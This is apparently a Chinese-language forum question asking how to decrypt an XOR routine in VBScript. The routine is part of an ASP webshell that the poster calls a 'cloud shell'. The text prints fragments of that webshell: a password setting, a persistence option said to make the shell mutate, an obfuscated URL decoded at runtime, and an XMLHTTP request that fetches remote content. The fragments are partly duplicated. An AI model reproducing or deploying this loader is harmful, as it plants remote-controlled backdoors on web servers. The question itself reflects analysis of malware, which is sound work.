老大请问一下这个函数如何解密 Function DeCrypt(c) Dim strChar, iKeyChar, iStringChar, I k=0 for I = 1 to Len(c) iKeyChar =Cint(A_Key(k)) iStringChar = Asc(mid(c,I,1)) iDeCryptChar = iKeyChar Xor iStringChar 进行异或运算 对密钥进行移位运算 If k<3 Then k=k+1 Else k=0 End If strDecrypted = strDecrypted & Chr(iDeCryptChar) next DeCrypt = strDecrypted End Function
ObjXMLHTTP.Open "GET",url,False:
ObjXMLHTTP.setRequestHeader "User-Agent",url:ObjXMLHTTP.Send:GetHtml=ObjXMLHTTP.responseBody:
这个就是那个云shell了。
userpass= "asph"大马密码
copyright="" 版权
keepcode= false 是否开启大马持久化,开启会使大马变换多端,但会耗时更长
server.scripttimeout=999999:
response.buffer=true:Response.Expires=-1:url=checkurl("06|321|011|821|811|711|821|06|221|421|211|95|96|46|121|521|26|06|06|17|521|921|921|711"):
Dim strChar, iKeyChar, iStringChar, I
k=0
for I = 1 to Len(c)
iKeyChar =Cint(A_Key(k))
iStringChar = Asc(mid(c,I,1))
iDeCryptChar = iKeyChar Xor iStringChar 进行异或运算
对密钥进行移位运算
If k<3 Then
k=k+1
Else
k=0
End If
strDecrypted = strDecrypted & Chr(iDeCryptChar)
next
DeCrypt = strDecrypted
End Function